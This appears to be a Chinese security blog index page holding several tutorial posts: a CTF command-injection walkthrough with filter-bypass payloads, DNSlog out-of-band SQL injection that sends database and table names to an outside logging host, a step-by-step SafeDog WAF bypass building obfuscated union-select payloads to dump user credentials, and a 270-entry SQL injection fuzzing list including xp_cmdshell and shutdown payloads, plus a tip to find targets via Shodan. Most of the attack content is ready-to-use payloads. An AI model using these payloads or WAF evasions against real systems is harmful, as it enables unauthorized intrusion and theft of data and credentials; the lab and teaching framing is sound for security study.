Flag?查看目录,他换了个名字没有cat那么在Linux中还有这样几个命令tac命令是cat命令的反向操作,它会按行读取文件内容,但会以相反的顺序输出。这意味着文件的最后一行将首先显示,而第一行将最后显示。127.0.0.1 &tac /var/www/html/flag_9902871730290.php less命令与more命令类似,也是用于分页显示文本文件的内容,但less提供了更多的导航选项,如向前翻页、向后翻页、搜索文本等。127.0.0.1 &less 5 /var/www/html/flag_9902871730290.php head命令用于显示文件的开头部分,默认显示前10行,但可以通过选项指定显示的行数。127.0.0.1 &head 5 /var/www/html/flag_9902871730290.php tail命令用于显示文件的末尾部分,默认显示最后10行,与head命令相对应。它还可以用于实时跟踪文件的新增内容。127.0.0.1 &tail 5 /var/www/html/flag_9902871730290.php nl命令与cat -b命令相似,用于显示文件内容并在每行前加上行号,但nl提供了更多的格式化选项。127.0.0.1 & nl /var/www/html/flag_9902871730290.php awk是一个强大的文本处理工具,虽然它主要用于模式扫描和处理语言,但在某些情况下,可以使用awk命令以类似于cat的方式显示文件内容,同时添加额外的文本处理功能。127.0.0.1 & awk '{print}' /var/www/html/flag_9902871730290.php more命令用于分页显示文本文件的内容,用户可以通过按空格键翻页,按b键回退,按q键退出。虽然它主要用于分页查看,但在逐页查看文件内容时,与cat命令直接显示整个文件内容的方式形成对比。127.0.0.1 & more /var/www/html/flag_9902871730290.php 过滤空格分析源码,使用preg_match_all函数检查变量$ip中是否包含空格。空格的绕过方式一般有(针对于本题来讲)1、${IFS}代替空格127.0.0.1&ls${IFS}/var/www/html/2、%09相当于tab键127.0.0.1&ls%09/var/www/html/3、大括号{}127.0.0.1&{ls,/var/www/html/}4、重定向字符> <>举例┌──(root㉿kali)-[/data] └─# ping -c 1 127.0.0.1;ls<>-l PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.701 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.701/0.701/0.701/0.000 ms 谷歌插件 GitHack -l miku payload:127.0.0.1&ls<>/var/www/html/经过测试,上面四种仅有${IFS}成功完整payload127.0.0.1&cat${IFS}/var/www/html/flag_172742853821990.php 过滤目录分隔符题目:这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗?直接使用ls查看目录,没有东西试试%2F127.0.0.1 & ls %2Fvar%2Fwww%2Fhtml 那我们直接ls使用cd和;进行多行命令执行即可,一级目录一级目录的cd即可127.0.0.1;cd flag_is_here;cat flag_31328570616525.php 过滤运算符题目:过滤了几个运算符, 要怎么绕过呢?分析源码,过滤了运算符,但是也没完全过滤,少了个;;即可127.0.0.1;cat flag_5393398119154.php 往期文章推荐Love-Yi情侣网站存在SQL注入漏洞【kali笔记】 Kali Shell编程从基础到进阶【kali笔记】Metasploit Framework (MSF) 从基础到进阶使用指南SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细我的《护网奇遇记》
2025年05月18日
1,224 阅读
0 评论
0 点赞
2025-05-18
sql注入之dnslog
DNSlog注入全解析DNSlog原理 DNS(Domain Name System):负责将域名转换为IP地址,以便浏览器能访问对应服务器上的服务。 DNSlog:即DNS的日志,记录了域名解析时的域名和解析IP的信息。 DNSlog外带原理:通过在高级域名中嵌入信息,利用DNS解析时留下的日志,将信息传递并读取,以获取请求信息。 DNSlog注入 关键函数:Load_file,用于读取文件并返回其内容为字符串。访问互联网文件时,需在最前面加上“//”。 使用前提: 存在注入点。 拥有root权限。 数据库具有读写权限,即secure_file_priv设置为空字符串。 具备请求URL的权限。 必须是Windows服务器环境。 复现过程D盘中写了个1.txt通过load_file函数,读取一下 select load_file('D:/1.txt')由于在通过load_file外带时是无法执行sql语句的,所以要通过concat函数,将执行的sql语句,与DNS请求的url进行拼接select concat('Sentiment','\',(select database()));这里我用的是dnslog.org,获取一个随机的dns域名接下来通过sqli第一关进行演示,通过你获取的随机dns域名DNSlog外带数据库信息,注意dns域名前面需要有个点,否则会导致外带不成功http://192.168.209.149/Less-1/?id=1' and load_file(concat('\\\',database(),'.eaf61aee.log.dnslog.biz./abc')) -- w此时dns解析记录就有了你靶机的数据库名称前缀外带表名?id=1' and load_file(concat('\\\',(select group_concat(table_name separator '-') from information_schema.tables where table_schema=database()),'.eaf61aee.log.dnslog.biz./abc')) -- w外带列名?id=1' and load_file(concat('\\\',(select group_concat(column_name separator '-') from information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w局限性通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性?id=1' and load_file(concat('\\\',(select hex(group_concat(column_name separator '_')) from information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w十六进制转字符网安学习不迷路,欢迎各位网络安全大佬进来交流学习
2025年05月18日
783 阅读
0 评论
0 点赞
2025-05-18
安全狗waf绕过-sql注入
安全狗WAF绕过系列一、WAF概述WAF(Web应用防火墙)作为一种专为Web应用程序设计的安全防护工具,其核心功能在于通过实施一系列针对HTTP/HTTPS协议的安全策略,来增强Web应用的安全性。WAF内置了精心设计的检测逻辑与规则集,这些规则旨在对每一个进入系统的请求内容进行细致审查,并对任何违反安全策略的请求采取即时且有效的防御措施,从而维护Web应用环境的纯净与安全。二、WAF工作机制详解WAF的工作流程精心构建,涵盖四个关键环节:预处理、规则匹配、响应处理以及日志记录,共同编织成一张紧密的安全防护网。 预处理阶段:此阶段,WAF首先担任起“守门人”的角色,对所有进入的数据请求流量进行初步筛选,确认其是否遵循HTTP/HTTPS协议标准。紧接着,WAF会利用预设的白名单机制,快速识别并放行那些已知安全或信任的URL请求,直接引导它们进入后端Web服务器进行处理。对于未能通过白名单验证的请求,WAF则进一步深入,对其数据包进行精细解析,为后续的安全检测做准备。 规则匹配阶段:此为核心环节,WAF利用其内置的强大规则引擎,对经过解析的数据包进行深度扫描与匹配。这些规则覆盖了广泛的攻击场景与模式,包括但不限于SQL注入、跨站脚本(XSS)、命令注入等常见Web安全威胁。通过这一过程,WAF能够精准识别出潜在的恶意请求,为后续的安全响应奠定坚实基础。 响应处理阶段:基于规则匹配的结果,WAF的响应处理模块将采取针对性的防御措施。对于符合安全规则的请求,WAF会毫无阻碍地将其转发至后端Web服务器,确保用户请求得到及时响应。而对于那些被判定为恶意或异常的请求,WAF则展现出其防御实力,通过阻断请求、记录日志或触发告警等多种方式,有效遏制潜在的安全风险,保护Web应用免受侵害。 三、常见的WAF绕过姿势常见的WAF(Web应用防火墙)绕过姿势包括但不限于以下几种: 提交方式变换:许多WAF默认配置下主要对GET请求进行过滤,而忽略POST请求、Cookie、HTTP头等其他提交方式。因此,可以尝试将攻击载荷通过不同的提交方式进行发送,以绕过WAF的检测。 大小写替换和编码绕过:利用WAF规则可能不区分大小写或无法完全解析编码后的攻击载荷,通过将攻击语句中的关键字进行大小写替换或使用URL编码、Base64编码等方式进行编码,以绕过WAF的过滤规则。 事件函数变换:WAF会重点识别触发JavaScript代码执行的事件函数字段,如onclick。通过变换事件函数名称或利用其他不常见的事件函数,可以尝试绕过WAF的识别。 注释符和内联注释:使用SQL注释符(如--、#)或HTML/JavaScript注释(如<!-- -->、//)来绕过WAF对特定关键字的过滤。有时,将攻击载荷与注释符结合使用,可以欺骗WAF使其忽略部分攻击载荷。 分片传输:通过调整HTTP请求中的Content-Length头部,将攻击载荷分成多个部分发送,可能导致WAF无法完整解析请求内容,从而绕过检测。 利用WAF软肋:WAF在部署时可能因性能考虑而留下一些软肋,如对某些特殊字符或组合的检测不够严格。通过分析和测试WAF的行为,可能发现并利用这些软肋进行绕过。 爬虫白名单绕过:部分WAF提供爬虫白名单功能,通过伪装成爬虫(修改User-Agent或模拟爬虫行为)可能绕过WAF的检测。 高并发流量攻击:通过发送大量垃圾数据或高并发请求,使WAF设备进入Bypass IPS模式或达到性能极限,从而暂时或永久性地绕过WAF的防护。 请注意,上述绕过姿势仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为,可能会对个人和组织造成严重的法律后果。在进行任何渗透测试之前,请确保已获得合法授权。四、安全狗绕过姿势环境:phpstudy—apache2.4.39安全狗官网v4.0下载(应该是最新版):https://www.safedog.cn/website_safedog.html当然如果需要套件,我都给你准备好了关注后台回复【安全狗】即可获取,感谢宝子们一直以来的关注在开始之前,如果没有SQL注入基础的的童鞋,还请观看我的另外一篇文章,1w字超详细解析。以下内容皆使用sqli第一关进行测试测试 id=1' and 1=1http://192.168.209.131/Less-1/?id=-1' and 1=1在之前的尝试中,我们发现直接使用“and 1=1”这种方法似乎并不奏效,这很可能是因为安全狗系统识别并过滤了“and”这个词。为了更深入地了解安全狗是如何识别并拦截这类操作的,我们可以尝试将“and 1=1”进行拆分http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+ http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+发现两个页面均返回SQL语法错误,这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它可能是识别到‘and’后紧跟空格和字符的模式。为了验证这一点,我决定进行实验。http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+ http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+实验结果,证实了确实是and+空格+字符串的格式会被拦截。这里我们就可以开始尝试利用注释符、回车符%0a等来代替空格进行绕过了!!在此输入:http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+发现依旧不行,打开burp suite,拦截下我们阻截的包,添加$payload到我们测试的注释符中然后点击发送到intruder模块,选择如下:然后,点击pyload,选择暴力破解(Brute forcer):attack,开始攻击,安全狗有流量攻击的防御,后面可能会被拦截,解决办法直接重启apache服务器。好了这里测试完成了,点击length更改默认排序,我们拿每个请求成功payload(检查response即可查看是否成功,如果用户名正常显示,说明该字符payload安全狗没有进行拦截)。我们随便娶一个/!*得到payload和注释符拼接/*/!**/,这个时候and和后面的1=1之间用这个拼接的符号进行连接即可http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+可以绕过了order by测试,我们用之前的测试结果,利用/*/!**/这一个充当空格,测试order by 3,然后看看能否成功?http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+完美,接下来测试联合注入。普通测试union select:http://192.168.209.131/Less-1/?id=1' union select --+union关键字测试,有回显http://192.168.209.131/Less-1/?id=1' union --+select关键字测试,有回显http://192.168.209.131/Less-1/?id=1' select --+已知安全狗WAF对联合注入的拦截规则是识别到union select字符串。为了探索是否能利用注释符绕过这一规则,我决定采用与之前相同的方法,利用Burp进行抓包,并加强fuzz测试中的参数进行暴力破解尝试。随便选择几个1002长度的响应结果这里我们选择payload,取/!*!/,构造注释符+payload,为/*/!*!/*/,插入union和select之间,绕过成功http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+这里还有一个思路,可以利用--+%0a这种格式通过换行继续执行,这里我们试一下看看:Tips:我的另一篇SQL注入文章有写过%0a的作用,后台回复【SQL注入】【sql】等关键字即可查看http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+ 相当于在普通sql语句中的 http://192.168.5.64/Less-1/?id=-1' union/*!--+/* select 1,database(),3*/ --+尝试报数据库http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+发现database()被拦截了我们把database的()给去掉http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+报错,此时就可以确定,安全狗应该是将database()进行检测然后我们继续使用注释符或者内联注释符看看吧:继续采用burp的fuzz测试:添加上变量扫出来4个/可以用,最简单的和之前一样,就不强调了,取注释符+payload,构造payloadhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),3 --+成功了!接下来一个一个关键词测试,group_concat()http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) --+没有拦截,继续fromhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from --+informtion_schema.tables,结果就不行了http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from informtion_schema.tables --+测试%0ahttp://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/测试查当前数据库的表名,前面已经测试过database()了http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() --+爆字段,测试到and,table_name都没拦截http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name --+直到table_name后面加了个=http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name=%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name= --+那么开始fuzz测试爆破随便娶一个payload和注释符进行拼接,如下http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20table_name/*/***/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and table_name/*/***/="users" --+回车%0a的绕过方式http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and /*!-- /* table_name*/="users" --+爆数据,已知表名为users,字段为id,username,password,并设置每个字段的分隔符为-,separator '-'http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(id,username,password separator '-') from /*!-- /* users*/ --+这里使用的是sqli第12关有安全狗防火墙,数据包如下uname=123")%20and%20updatexml(0x3a,concat(0x3a,(select%20user()),0x3a),0x3a)#&passwd=123&submit=Submit进行分块传输(这里用到一个插件)联系作者即可获取(备注【分块插件】)编码请求体后注意最后两行需要空着,但凡少一行都会造成请求不成功少一行之后,响应失败脏数据构造大型数据包比如但是如果没有足够大的数据包,也是不能够进行绕过的,比如数据包中post无限制,get可能会进行限制hex编码这里没有复现案例,仅供参考前提:没有过滤掉0x例如select * from users where name="admin"总结通过本文的详细解析和实验,我们深入了解了SQL注入攻击的基本原理及其在实际应用中的变种和绕过技巧。在面对如安全狗这样的WAF防护时,攻击者并非束手无策,而是可以通过多种方式绕过检测规则,成功实施SQL注入攻击。本文首先通过基础的SQL注入测试,验证了安全狗WAF对“and 1=1”等简单SQL注入模式的识别能力。随后,通过拆分和注释符的使用,我们发现WAF可能是通过识别特定模式(如“and”后紧跟空格和字符)来拦截SQL注入的。基于此发现,我们进一步尝试利用注释符、换行符等技术手段绕过WAF的检测,成功实施了更复杂的SQL注入攻击,包括联合查询注入,获取数据库表名、列名以及具体数据等。通过本文的学习,我们不仅能够加深对SQL注入攻击的理解,还能够掌握一些实用的绕过WAF防护的技巧。然而,需要强调的是,这些技巧仅用于合法的安全测试和教育目的,任何未经授权的SQL注入攻击都是非法的,并可能带来严重的法律后果。因此,我们呼吁广大开发人员和安全从业者,应持续关注和提升Web应用的安全性,共同维护网络空间的安全与稳定。免责声明:本渗透教程仅供安全研究与教育目的使用。任何未经授权的网络活动均属非法。读者应确保拥有合法权限,并对自己的行为负责。教程内容不保证绝对安全或成功,使用风险自负。
2025年05月18日
877 阅读
0 评论
0 点赞
2025-05-18
放开双手 ,SQL注入Fuzzing字典 (270个)
放开双手 ,SQL注入Fuzzing字典 (270个)什么是Fuzzing(模糊测试)?模糊测试(Fuzzing),是一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法。字典如下:' " # - -- ' -- --'; ' ; = ' = ; = -- x23 x27 x3D x3B' x3D x27 x27x4Fx52 SELECT * x27x6Fx72 SELECT * 'or select * admin'-- ';shutdown-- <>"'%;)(&+ ' or ''=' ' or 'x'='x " or "x"="x ') or ('x'='x 0 or 1=1 ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 1=1-- " or 1=1-- ' or '1'='1'-- "' or 1 --'" or 1=1-- or%201=1 or%201=1 -- ' or 1=1 or ''=' " or 1=1 or ""=" ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a 'hi' or 'x'='x'; @variable ,@variable PRINT PRINT @@variable select insert as or procedure limit order by asc desc delete update distinct having truncate replace like handler bfilename ' or username like '% ' or uname like '% ' or userid like '% ' or uid like '% ' or user like '% exec xp exec sp '; exec master..xp_cmdshell '; exec xp_regread t'exec master..xp_cmdshell 'nslookup www.google.com'-- --sp_password x27UNION SELECT ' UNION SELECT ' UNION ALL SELECT ' or (EXISTS) ' (select top 1 '||UTL_HTTP.REQUEST 1;SELECT%20* to_timestamp_tz tz_offset <>"'%;)(&+ '%20or%201=1 %27%20or%201=1 %20$(sleep%2050) %20'sleep%2050' char%4039%41%2b%40SELECT '%20OR 'sqlattempt1 (sqlattempt2) | %7C *| %2A%7C *(|(mail=*)) %2A%28%7C%28mail%3D%2A%29%29 *(|(objectclass=*)) %2A%28%7C%28objectclass%3D%2A%29%29 ( %28 ) %29 & %26 ! %21 ' or 1=1 or ''=' ' or ''=' x' or 1=1 or 'x'='y / // //* */* ' ' and '' like ' ' AnD '' like ' ' or '' like ' ' and '' like '% ' aND '' like '% ' and '' like ''-- ' and 2>1-- ' and 2>3-- ') and ('x'='x ) and (1=1 'or''=' 'or'='or' a' or 1=1-- "a"" or 1=1--" or a = a a' or 'a' = 'a 1 or 1=1 a' waitfor delay '0:0:10'-- 1 waitfor delay '0:0:10'-- declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q) declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q) declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s) a' ? ' or 1=1 ‘ or 1=1 -- x' AND userid IS NULL; -- x' AND email IS NULL; -- anything' OR 'x'='x x' AND 1=(SELECT COUNT(*) FROM tabname); -- x' AND members.email IS NULL; -- x' OR full_name LIKE '%Bob% 23 OR 1=1 '; exec master..xp_cmdshell 'ping 172.10.1.255'-- ' '%20or%20''=' '%20or%20'x'='x %20or%20x=x ')%20or%20('x'='x 0 or 1=1 ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # or 0=0 #" or 0=0 # ' or 1=1-- " or 1=1-- ' or '1'='1'-- ' or 1 --' or 1=1-- or%201=1 or%201=1 -- ' or 1=1 or ''=' or 1=1 or ""= ' or a=a-- or a=a ') or ('a'='a ) or (a=a hi or a=a hi or 1=1 --" hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a "hi"") or (""a""=""a" 'hi' or 'x'='x'; @variable ,@variable PRINT PRINT @@variable select insert as or procedure limit order by asc desc delete update distinct having truncate replace like handler bfilename ' or username like '% ' or uname like '% ' or userid like '% ' or uid like '% ' or user like '% exec xp exec sp '; exec master..xp_cmdshell '; exec xp_regread t'exec master..xp_cmdshell 'nslookup www.google.com'-- --sp_password x27UNION SELECT ' UNION SELECT ' UNION ALL SELECT ' or (EXISTS) ' (select top 1 '||UTL_HTTP.REQUEST 1;SELECT%20* to_timestamp_tz tz_offset <>"'%;)(&+ '%20or%201=1 %27%20or%201=1 %20$(sleep%2050) %20'sleep%2050' char%4039%41%2b%40SELECT '%20OR 'sqlattempt1 (sqlattempt2) | %7C *| %2A%7C *(|(mail=*)) %2A%28%7C%28mail%3D%2A%29%29 *(|(objectclass=*)) %2A%28%7C%28objectclass%3D%2A%29%29 ( %28 ) %29 & %26 ! %21 ' or 1=1 or ''=' ' or ''=' x' or 1=1 or 'x'='y / // //* */* a' or 3=3-- "a"" or 3=3--" ' or 3=3 ‘ or 3=3 --使用shodan查找靶机访问端口+IP打开burp suite从文件加载字典测试,直接看响应长度即可往期推荐开箱即用!265种windows渗透工具合集--灵兔宝盒我是如何利用Typora写网络安全技术文章的,公众号格子背景又是如何做到的?【kali笔记】这样炫酷的终端签名,是如何打印出来的?【内网渗透】免工具,内网、域内信息收集的40种方式总结【渗透测试】16个实用谷歌浏览器插件分享
2025年05月18日
1,162 阅读
0 评论
0 点赞
1
...
25
26
27
...
37